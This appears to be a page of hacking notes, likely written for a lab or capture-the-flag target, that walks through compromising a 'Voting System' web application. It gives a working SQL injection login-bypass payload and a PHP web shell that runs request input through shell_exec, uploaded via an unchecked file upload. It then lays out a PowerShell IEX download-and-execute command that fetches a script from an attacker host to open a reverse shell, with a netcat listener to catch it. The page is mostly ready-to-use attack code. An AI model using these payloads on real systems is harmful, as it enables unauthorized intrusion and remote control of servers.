> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/voting-system-cms-exploitation.md).
# Voting System
Voting System exploitation notes for SQL injection, Burp Suite dashboard access, PHP file upload, command injection testing, PowerShell payloads, and reverse shells.
## **SQL Injection Vulnerability (SQLi)**
Use `searchsploit` to search for Voting System vulnerabilities and identify the following payload:
`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`
Use Burp Suite to access the dashboard.
## Vulnerability Upload Files:
Once in the dashboard, create a new user and upload `cmd.php` to execute commands on the server:
```bash
" . shell_exec($_REQUEST['cmd']) . "";
?>
```
The panel does not enforce security checks, allowing command injection such as `whoami`. Test connectivity with a ping command:
Test whether the target can send a ping.
ping 10.10.14.10
tcpdump -i tun0 icmp
Receiving a response confirms command execution on the target.
**PowerShell command execution for a reverse shell**
Once command execution is confirmed, host the `PS.ps1` script on the attacker machine.
{% embed url="" %}
Append the following line at the end of the script:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```
Host `PS.ps1` with a web server:
```bash
python3 -m http.server 80
```
Then modify the command to point to the attacker web server:
{% code overflow="wrap" %}
```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```
{% endcode %}
Finally, start a listener on port 4444:
```bash
rlwrap nc -nlvp 4444
```
---
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